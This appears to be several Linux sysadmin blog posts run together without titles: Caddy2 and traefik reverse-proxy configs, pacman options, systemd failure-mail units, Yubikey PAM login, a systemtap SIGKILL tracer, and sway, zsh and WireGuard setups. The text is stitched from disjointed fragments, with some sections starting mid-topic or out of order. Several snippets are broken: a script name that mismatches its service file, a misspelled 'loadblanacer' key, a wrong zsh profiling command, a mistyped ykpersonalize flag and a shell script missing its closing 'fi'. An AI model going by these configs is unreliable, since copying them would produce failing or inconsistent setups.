I think you agree with me, that Nginx is a monster regarding sane defaults and supporting state of the art technologies like QUIC or ACME. Therefore I’ve decided to switch to Caddy (to be more accurate: the beta of Caddy2). With Caddy I’ve been able to shrink the configuration, get support for QUIC and use Caddys internal ACME implementation for renewing my certificates. Let’s have a look on the configuration:

/etc/caddy/Caddyfile:

# This rule matches on www.nullday.de and www.nspawn.org and strips off the www
# part. I need this for Hugo (my static website generator). Otherwise Hugo will
# generate wrong sitemap.xml files. You might ask your self what {http.request.host.labels.1} mean.
# These are templates. This way you can access various internal Caddy variables.
# For example the host name in the incoming HTTP request.
www.nullday.de, www.nspawn.org {
	redir * https://{http.request.host.labels.1}.{http.request.host.labels.0}{path}
}


# This part is the actual server configuration. I match on my domains nullday.de and nnspawn.org.
# First I activate the file_server for serving static files.
nullday.de, nspawn.org {
	file_server
	# Here I use Caddys templates again to set the right path for the website.
	root * /srv/www/{http.request.host}/public/
	# And here I set all headers, that Caddy doesn't set on default.
	# TLS settings are not necessary, because Caddy has strong TLS defaults.
	headers {
		Strict-Transport-Security "max-age=31536000; includeSubDomains; preload; always"
		Public-Key-Pins "pin-sha256=\"sRHdihwgkaib1P1gxX8HFszlD+7/gTfNvuAybgLPNis=\"; pin-sha256=\"YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=\"; pin-sha256=\"C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=\"; includeSubdomains; max-age=2629746;"
		X-Frame-Options "SAMEORIGIN"
		X-Content-Type-Options "nosniff"
		X-XSS-Protection "1; mode=block"
		Content-Security-Policy "default-src 'none'; base-uri 'self'; form-action 'none'; img-src 'self'; script-src 'self'; style-src 'self'; font-src 'self'; worker-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'none'; manifest-src 'self'"
		Referrer-Policy "strict-origin"
		Feature-Policy "geolocation 'none';midi 'none'; sync-xhr 'none';microphone 'none';camera 'none';magnetometer 'none';gyroscope 'none';speaker 'none';fullscreen 'self';payment 'none';"
		Expect-CT "max-age=604800"
	}
	# Lastly we just enable zstd and gzip compression.
	# Note: zstd compression is not yet supported by browsers.
	# You may ask yourself why I don't enable brotli.
	# The brotli impementation in caddy performs surprisingly bad.
	# I hope the caddy devs are going to fix this..
	encode {
		zstd
		gzip
	}
}

First of all, here is my pacman.conf without comments:

[options]
HoldPkg     = pacman glibc
Architecture = auto
IgnorePkg   =
Color
TotalDownload
CheckSpace
VerbosePkgLists
ILoveCandy
SigLevel    = Required DatabaseOptional
LocalFileSigLevel = Optional

[testing]
Include = /etc/pacman.d/mirrorlist
Usage = Sync Search

[core]
Include = /etc/pacman.d/mirrorlist

[extra]
Include = /etc/pacman.d/mirrorlist

[community-testing]
Include = /etc/pacman.d/mirrorlist
Usage = Sync Search

[community]
Include = /etc/pacman.d/mirrorlist

[multilib-testing]
Include = /etc/pacman.d/mirrorlist
Usage = Sync Search

[multilib]
Include = /etc/pacman.d/mirrorlist

Most of it should be pretty similar to your pacman.conf. Let’s start with the [options] sections. I use the following additional keywords in this section: Color, TotalDownload, CheckSpace, VerbosePkgLists and ILoveCandy. Color should be clear, it enables colorized output for pacman. TotalDownload displays more information about downloads and provides therefore information like the ETA, a download rate and more. CheckSpace checks your system for enough space, before trying to install packages, VerbosePkgLists gives you more information about packages (like the repository where they come from) and ILoveCandy enables the famous pacman videogame easteregg. If you haven’t turned it on yet, you probably should :-)

So much about my global custom options. Let’s talk about repositories. You might have seen already that I have enabled all testing repositories. Shouldn’t this break my system? No, because I use the keyword Usage = Sync Search. This restricts the usage of the testing repositories on synchronization and search. Thus it’s possible to install testing packages, without accidently installing them on pacman -Syu. Instead I am able to just do pacman -U testing/<package name> and I will install a package from testing.

At this moment, traefik supports three hash algorithms: MD5, SHA1, BCrypt. Two of them are considered to be broken, hence you should use BCrypt:

$ htpasswd -nbB myName myPassword
myName:$2y$05$c4WoMPo3SXsafkva.HHa6uXQZWr7oboPiC2bT/r7q1BB8I2s0BRqC

Next you can stick the basicAuth middleware in front of your dashboard router.

http:
  routers:
    api-router:
      rule: "PathPrefix(`/api`) || PathPrefix(`/dashboard`)"
      service: api@internal
      entryPoints:
        - web-secure
      tls: {}
      middlewares:
        - dashboard-login
middlewares:
  dashboard-login:
    basicAuth:
      users:
        - "myName:$2y$05$c4WoMPo3SXsafkva.HHa6uXQZWr7oboPiC2bT/r7q1BB8I2s0BRqC"

A few days ago I had the joy to configure a reverse proxy. My first thoughts went to Nginx or Apache, but I forced myself to destroy the filter bubble and get in touch with some new software. Therefore I had a lookon traefik. traefik is written in Golang and can act as reverse proxy and loadbalancer.

So let’s talk about a specific use case. I have the following services that I want to make available behind a reverse proxy:

• prometheus
• grafana
• the traefik dashboard and API

Furthermore I want to access all these services via a sub path and via HTTPS only, hence I need a HTTP to HTTPS redirect.

Achieving this wasn’t so easy. traefik 2.0 just got released, the documentation is fresh and thus we are lacking real world examples.

I’ve ended up with the following /etc/traefik/traefik.yml configuration:

---

providers:
  file:
    filename: /etc/traefik/traefik.yml

log:
  level: debug

api:
  dashboard: True

entryPoints:
  web:
    address: ":80"
  web-secure:
    address: ":443"
  metrics:
    address: ":8082"

metrics:
  prometheus:
    entryPoint: metrics

accessLog: {}

http:
  routers:
    common:
      rule: "HostRegexp(`{host:.+}`)"
      service: noop
      entryPoints:
        - web
      middlewares:
        - https-redirect
    prometheus-router:
      rule: "PathPrefix(`/prometheus`)"
      service: prometheus
      entryPoints:
        - web-secure
      tls: {}
    grafana-router:
      rule: "PathPrefix(`/grafana`)"
      service: grafana
      entryPoints:
        - web-secure
      tls: {}
    api-router:
      rule: "PathPrefix(`/api`) || PathPrefix(`/dashboard`)"
      service: api@internal
      entryPoints:
        - web-secure
      tls: {}
  middlewares:
    https-redirect:
      redirectScheme:
        scheme: https
        permanent: true
        port: 443
  services:
    prometheus:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:9090/"
    grafana:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:3000/"
    noop:
      loadBalancer:
        servers:
	  - url: "http://127.0.0.1/"

tls:
  certificates:
    - certFile: /etc/traefik/censored.cert
      keyFile: /etc/traefik/censored.key

Let’s have a look on it part by part. First we set a provider for the configuration:

providers:
  file:
    filename: /etc/traefik/traefik.yml

A file provider will watch the traefik.yml configuration file and adapt on changes in this file on runtime. Next we set logs for debugging (change this in production) and we enable the traefik dashboard.

log:
  level: debug

api:
  dashboard: True

With entrypoints we set the ingress for our reverse proxy. We want to listen on the standard HTTP and HTTPS ports (80 and 443) and on the traefik metrics port 8082. Speaking about metrics we need to enable them as well:

entryPoints:
  web:
    address: ":80"
  web-secure:
    address: ":443"
  metrics:
    address: ":8082"

metrics:
  prometheus:
    entryPoint: metrics

We want to enable access logs, too:

accessLog: {}

Next we configure the actual infrastructure with traefik. I use inline comments for better understanding:

http:
  # The routers will accept incoming connections and route them to the attached service over a middleware.
  routers:
    # The router `common` is our HTTP entrypoint. traefik wants a service here, thus we set a noop service.
    # This noop service will never be called.
    common:
      # We match on every hostname
      rule: "HostRegexp(`{host:.+}`)"
      service: noop
      entryPoints:
        - web
      # This middleware redirects the http traffic to the routers who listen on web-secure entrypoints.
      middlewares:
        - https-redirect
    # This router matches on the /prometheus path prefix, redirects traffic to the prometheus server
    # and enables TLS.
    prometheus-router:
      rule: "PathPrefix(`/prometheus`)"
      service: prometheus
      entryPoints:
        - web-secure
      tls: {}
    # The grafana-router enables TLS and matches on the /grafana path prefix.
    grafana-router:
      rule: "PathPrefix(`/grafana`)"
      service: grafana
      entryPoints:
        - web-secure
      tls: {}
    # The api-router matches on /api and /dashboard path prefixes and forwards the traffic
    # to the traefik internal API.
    api-router:
      rule: "PathPrefix(`/api`) || PathPrefix(`/dashboard`)"
      service: api@internal
      entryPoints:
        - web-secure
      tls: {}
  # This map describes the middlewares between routers and services. We use a redirect scheme for HTTPS here.
  middlewares:
    https-redirect:
      redirectScheme:
        scheme: https
        permanent: true
        port: 443
  # In services we just describe our services or targets where we want to forward traffic to.
  services:
    prometheus:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:9090/"
    grafana:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:3000/"
    noop:
      loadblanacer:
        servers:
	  - url: "http://127.0.0.1/"

Lastly we set the TLS certificate and key (note that we we need to use the hostname.cert or hostname.key scheme.

tls:
  certificates:
    - certFile: /etc/traefik/censored.cert
      keyFile: /etc/traefik/censored.key

For starting traefik you can use the following systemd service file:

[Unit]
Description=Traefik
Documentation=https://docs.traefik.io
After=network-online.target
AssertFileIsExecutable=/usr/local/bin/traefik
AssertPathExists=/etc/traefik/traefik.yml

[Service]
# Run traefik as its own user (create new user with: useradd -r -s /bin/false -U -M traefik)
User=traefik
AmbientCapabilities=CAP_NET_BIND_SERVICE

# configure service behavior
Type=notify
ExecStart=/usr/local/bin/traefik --configFile=/etc/traefik/traefik.yml
Restart=always
WatchdogSec=1s

# lock down system access
# prohibit any operating system and configuration modification
ProtectSystem=strict
# create separate, new (and empty) /tmp and /var/tmp filesystems
PrivateTmp=true
# make /home directories inaccessible
ProtectHome=true
# turns off access to physical devices (/dev/...)
PrivateDevices=true
# make kernel settings (procfs and sysfs) read-only
ProtectKernelTunables=true
# make cgroups /sys/fs/cgroup read-only
ProtectControlGroups=true

# allow writing of acme.json
#ReadWritePaths=/etc/traefik/acme.json
# depending on log and entrypoint configuration, you may need to allow writing to other paths, too

# limit number of processes in this unit
#LimitNPROC=1

[Install]
WantedBy=multi-user.target

You’ll need the following software for it:

• systemd
• a mail transfer agent (postfix, qmail, exim, name your poison)
• sendmail (or any other application that can send mails)

I chose sendmail. First create /usr/local/bin/systemd-mail:

#!/bin/bash

sendmail -i -t <<ERRMAIL
To: <your mail address>
From: systemd <root@$HOSTNAME>
Subject: [$HOSTNAME] $1
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset=UTF-8

$(systemctl status --full "$1")
ERRMAIL

Then create this systemd service:

[Unit]
Description=status email for %i to user

[Service]
Type=oneshot
ExecStart=/usr/local/bin/systemd-email %i
User=nobody
Group=systemd-journal

The parameter %i works as variable for the corresponding systemd services.

Now you can add the following Line to every systemd service you like to monitor (the line has to be in the [Unit] section): OnFailure=systemd-email@%n.service. %n contains the name of the service, that way it will be correctly replaced in the subject of the mail.

You can also use other keywords than OnFailure. Just checkout the systemd man pages.

It’s possible to use U2F for authenticating!

To summarize this. There are two pam modules from Yubico:

• yubico-pam: This module is for HMAC challenge-response and maybe more stuff (I didn’t look in detail into it)
• pam-u2f: This module is the official Yubico module for U2F, FIDO, FIDO2. And it has a few advantages, but more about them later.

The yubico-pam module needs a second configured slot on the Yubikey for the HMAC challenge. Therefore one whole slot on the Yubikey is blocked only for this purpose. A slot where you could do other fancy stuff with (a static password as master password for your disk encryption for example). Also HMAC uses SHA1 as hash function for the challenge, we all know that SHA1 is broken already, but I would say it’s secure for the challenge (because the hashed message M is always different for every challenge, I am wrong, please correct me). Another problem is that yubico-pam hasn’t seen a release for over a year now (last release is from April 2018).

So I have configured my laptop for pam-u2f. With this module I have the following advantages:

• A free second slot to use (maybe as static password for my hard drive encryption or I just leave it blank).
• The module is actually maintained and developed (last release from June 2019).
• The U2F is a broader known standard. HMAC challenge-response has been created for applications asking for authentication.
• I can use the yubikey-touch-detector to visualize the U2F challenge request in my i3 status bar (for this I use barista)

The next big question is: How have I configured U2F for logins on my device?

It’s not so different. I have created for both users (my daily user “chris” and my administrator account “root”) the following file in the home directory:

$ pamu2fcfg > ~/.config/Yubico/u2f_keys

In case of the root user, I need to create the ~/.config/Yubico/ directory first. For my daily user the directory was already there, because Yubico-Manager saved configuration in it.

If you want to attach a second key as backup you can do:

$ pamu2fcfg -n >> ~/.config/Yubico/u2f_keys

After each operation you need to short press the Yubikey. With HMAC you needed to long press here, because the configuration for it was on the second slot.

Next you need to modify /etc/pam.d/system-auth again (remove the old yubico-pam line there):

[..]
auth      sufficient pam_u2f.so
auth      required  pam_unix.so     try_first_pass nullok
[..]

Same as with yubico-pam, you can use the keyword sufficient here to use the Yubikey or the password to login. If you want true 2FA experience use the keyword required, then you will need both for the login.

The whole process is explained on the official Yubico page (https://support.yubico.com/support/solutions/articles/15000011356-ubuntu-linux-login-guide-u2f) as well. The only difference is that I’ve modified /etc/pam.d/system-auth instead of /etc/pam.d/sudo (for sudo) and /etc/pam.d/common-auth for common logins. I guess common-auth is important for graphical logins via loginmanager, but I am not sure about it, because I just use the TTY to login.

You need the following Arch Linux packages for this tutorial:

• yubico-pam
• yubikey-manager
• yubikey-personalization
• yubico-c

If you have a fresh Yubikey, the second slot or second configuration should be free, but you can verify this with using the following command:

$ ykinfo -1 -2
slot1_status: 1
slot2_status: 1

If both slots show the number 1, both slots are configured. If one of them shows 0, the slot is not configured. Normally it should look like this with a fresh key:

$ ykinfo -1 -2
slot1_status: 1
slot2_status: 0

The first slot is for Yubico OTP. Yubico OTP needs internet access for connecting to the Yubikey Servers for verifying the challenge, you mostly use this for FIDO/FIDO2 logins on websites. We can’t guarantee internet access on our laptop, so we will use the slot 2 instead.

The following command will configure the slot 2 for a challenge: ykpersonalize -2 -ochal-resp -ochal-hmac -ohmac-lt64 -oserial-api-visible -ochal-btn-trig.

Let’s analyze the command, so we know what’s going on:

• ykpersonalize: Is the the Yubico tool for configuring your Yubikey.
• -2: Means that we want to configure the second slot.
• -ochal-resp: Refers to “challenge-response” mode, the mode we want to configure for logins.
• -ochal-hmac: This is our “message authentication code” for the challenge. Message authentication codes are used for providing integrity to a message. HMAC uses a hash function (for example SHA-1) for calculating a hash of our message and an outer and inner pad. The outer and inner pads are just constants, that are added to the stream on different moments during the hash calculation. If you want to read more about HMAC, you can do this here: https://tools.ietf.org/html/rfc2104
• -ochmac-lt64: This means we calculate the HMAC on less than 64 bytes input.
• -oserial-api-visible: The Yubikey will allow its serial number to be read using an API call.
• -ochal-btn-trig: The Yubikey will ask for confirmation on every challenge via button pressing.

If you have triggered this command, you can verify if the second slot has been configured via: ykinfo -2. Then you need to create a .yubico directory in the home directories of the users you want to auth via Yubikey (for example: mkdir /home/chris/.yubico). For the challenge we generate a challenge and store it in the yubico directory via: ykpamcfg -2 -v.

The last step is configuring /etc/pam.d/system-auth. You should see this line in your /etc/pam.d/system-auth file (you want to open a root shell while editing pam, in case you lock yourself out):

[..]
auth      required  pam_unix.so     try_first_pass nullok
[..]

You need to add the following line before this line: auth sufficient pam_yubico.so mode=challenge-response. Therefore it should look like this:

[..]
auth      sufficient pam_yubico.so mode=challenge-response
auth      required  pam_unix.so     try_first_pass nullok

With the keyword sufficient we specify that either one of our authentication elements are sufficient. Hence we can use our normal password for authentication or or yubikey with long pressing on the button. If you prefer real 2-factor authentication you can substitute this keyword with the keyword required. Then you will need both for logging in, the password and the Yubikey.

Just install systemtap on your system, write a small stap script for it and run it, and it will show you the evil process:

#!/usr/bin/stap
# sigkill.stp
# Copyright (C) 2007 Red Hat, Inc., Eugene Teo <eteo@redhat.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# /usr/share/systemtap/tapset/signal.stp:
# [...]
# probe signal.send = _signal.send.*
# {
# 	sig=$sig
# 	sig_name = _signal_name($sig)
# 	sig_pid = task_pid(task)
# 	pid_name = task_execname(task)
# [...]

probe signal.send {
  if (sig_name == "SIGKILL")
    printf("%s was sent to %s (pid:%d) by %s uid:%d\n",
           sig_name, pid_name, sig_pid, execname(), uid())
}

Run it with: stap sigkill.stp.

I have to admit I have been quite happy with powerlevel9k. It had a rich feature set and I have been in love with all these shiny UTF-8 icons and powerline graphics. Just one thing bothered me: performance. It has been an absolutly no-go for me, that I had to wait for my zsh between inputs. I am not a speed fetishist, but I expect a good shell to give feedback at a pace of <400ms. This is called the Doherty Threshold and ensures a good user experience (UX). Everything above this threshold will let the user wait and waiting means frustration. So I developed the idea of a new zsh configuration that fits my needs. In the end I landed on a few snippets of the grml configuration flavored with own functions, an own prompt and a few unique keyboard shortcuts, like surround features for quotes. But how do we measure zsh performance? Well, it’s quite easy just put this line before all zsh configuration: zhmod zsh/zprof. Another way to measure startup time is: time zsh -i -c exit.

TL;DR here is the link to my dotfiles with the whole configuration: https://github.com/shibumi/dotfiles

But first let’s sum up what I need:

• Screen-recording
• Screenshots
• Screen-locking
• A nice tiling window manager
• A dmenu/rofi like menu library with a client
• A notification daemon
• Setting a background
• Setting brightness of the background

I’ve decided to go with the following setup:

• wf-recorder for screen-recording
• grim for screenshots
• swaylock for screen-locking
• sway the i3-compatible wayland compositor
• rofi as menu library. Unfortunately it’s not a native wayland application. So I hope I can replace it with something awesome in the future.
• mako as wayland-ready notification daemon
• swaybg for setting a background
• brightnessctl for setting brightness

So, how do I start sway? I’ve build a statement in my .zshrc file to start sway automatically, when I login into my TTY1:

if [ "$(tty)" = "/dev/tty1" ]; then
	exec sway
fi

My mako configuration looks like this:

font=Inconsolata 14
background-color=#151718
text-color=#9FCA56
border-color=#151718

[urgency=high]
text-color=#CD3F45

The mako configuration sets some font and color configurations on-default and a special text color for notifications with urgency high.

My sway configuration is the same as with my i3 configuration, the only difference is this specific section here:

# Setting sway specific inputs
input * xkb_layout "de"
input * xkb_variant "us"

# Setting sway specific executions
exec mako
exec swaybg -c "#151718"

This configuration will set my us/de hybrid keymap layout and will autoexecute mako and swaybg on sway start.

The next big question is:“How do I share screenshots? Record my Screen or share copypasted text?". Well, I have a solution for this as well. Here is my small shell script for sharing text via filebin:

#!/bin/bash
readonly TEXTSHOTDIR="$HOME/.cache/textshot/"

if [[ ! -e "$TEXTSHOTDIR" ]]; then
  mkdir -p "$TEXTSHOTDIR"
fi
readonly TIME="$(date +%Y-%m-%d-%H-%M-%S)"
readonly TEXTPATH="$TEXTSHOTDIR/text-$TIME.txt"
wl-paste >"$TEXTPATH"
readonly OUTPUT="$(fb "$TEXTPATH")"
wl-copy "$OUTPUT"
notify-send "Text uploaded" "$OUTPUT"

Taking a screenshot and sharing it via filebin is quite simple as well (btw feel free to fork it and modify it to your needs. All snippets are licensed under GPLv3):

#!/bin/bash
readonly SCREENSHOTDIR="$HOME/.cache/screenshot"

if [[ ! -e "$SCREENSHOTDIR" ]]; then
  mkdir -p "$SCREENSHOTDIR"
fi
readonly TIME="$(date +%Y-%m-%d-%H-%M-%S)"
readonly IMGPATH="$SCREENSHOTDIR/img-$TIME.png"
grim -g "$(slurp)" "$IMGPATH"
readonly OUTPUT="$(fb "$IMGPATH")"
wl-copy "$OUTPUT"
notify-send "Screenshot uploaded" "$OUTPUT"

And finally my solution for sharing screen recordings on the fly (this is a little bit longer):

#!/bin/bash
readonly VIDEOSHOTDIR="$HOME/.cache/videoshot"

if [[ ! -e $VIDEOSHOTDIR ]]; then
  mkdir -p "$VIDEOSHOTDIR"
fi

readonly PIDPATH="$VIDEOSHOTDIR/videoshot.pid"
readonly RESOURCEPATH="$VIDEOSHOTDIR/videoshot.txt"

if [[ ! -f "$PIDPATH" ]]; then
  readonly TIME="$(date +%Y-%m-%d-%H-%M-%S)"
  readonly VIDPATH="$VIDEOSHOTDIR/rec-$TIME.mp4"
  (
    wf-recorder -g "$(slurp)" -f "$VIDPATH" &
    echo "$!" >"$PIDPATH"
    echo "$VIDPATH" >"$RESOURCEPATH"
    notify-send "Start recording" "$VIDPATH"
    readonly PID="$(cat $PIDPATH)"
    wait "$PID"
    readonly VIDPATH="$(cat $RESOURCEPATH)"
    if [ ! -f "$VIDPATH" ]; then
      notify-send "Recording aborted"
    else
      readonly OUTPUT="$(fb "$VIDPATH")"
      wl-copy "$OUTPUT"
      notify-send "Video uploaded" "$OUTPUT"
    fi
    rm "$PIDPATH"
    rm "$RESOURCEPATH"
  ) &
else
  readonly PID="$(cat $PIDPATH)"
  kill -SIGINT "$PID"

Another topic is pasting passwords from a password manager via rofi into your current window. The tool xdotool is not available anymore, because it’s X11 only, so wayland will not support it. Luckily there seems to be someone who has created ydotool, it’s a replacement for xdotool and uses /dev/uinput as source for the inputs. However I decided against it, because installing two new libraries and ydotool was a too big hassle for me. So I just stick with copying the password into the buffer via wl-copy:

#!/bin/bash
_rofi() {
  rofi -i -no-levenshtein-sort -lines 8 "$@"
}

input=$(gopass list -f | rofi -lines 8 -dmenu -p "gopass")
printf '%s' "$(gopass show -o "$input")" | wl-copy

Note: This solution is not perfect, as well, because the output will be stored into the clipboard and the clipboard will not get cleaned up! So using ydotool is might a better solution.

If you experience problems with Java applications like, IntelliJ-IDEs, then you should put the following line in your .zshrc. or .bashrc line:

export _JAVA_AWT_WM_NONREPARENTING=1

Server

/etc/systemd/network/wg0.netdev

[NetDev]
Name=wg0
Kind=wireguard
Description="Wireguard Server"

[WireGuard]
PrivateKey=<private key of server>
ListenPort=51820

[WireGuardPeer]
PublicKey=<public key of client>
AllowedIPs=10.0.0.2/24

/etc/systemd/network/wg0.network

[Match]
Name=wg0

[Network]
Address=10.0.0.1/24
IPForward=True
IPMasquerade=True

Client

And here comes the interesting part. I don’t use systemd-networkd with wireguard on my client. The reasons for this are a modification of wg-quick@wg0.service (I trigger i3blocks via POSIX signals for having a nice VPN icon in my i3statusbar) and the circumstance that systemd-networkd only knows one state: on. So if you would configure the VPN on your client via systemd-networkd you would run that VPN on every startup automatically. There are usecases for this, but that are not my usecases. I don’t need the VPN that often. So for my client, I use the old way with /etc/wireguard/wg0.conf file. Nevertheless here is the client configuration via systemd-networkd. Please keep in mind: I didn’t test the client setup…

/etc/systemd/network/wg0.netdev

[NetDev]
Name=wg0
Kind=wireguard
Description="Wireguard Client"

[WireGuard]
PrivateKey=<private key of client>
ListenPort=51820

[WireGuardPeer]
PublicKey=<public key of server>
AllowedIPs=0.0.0.0/0
Endpoint=<server>:51820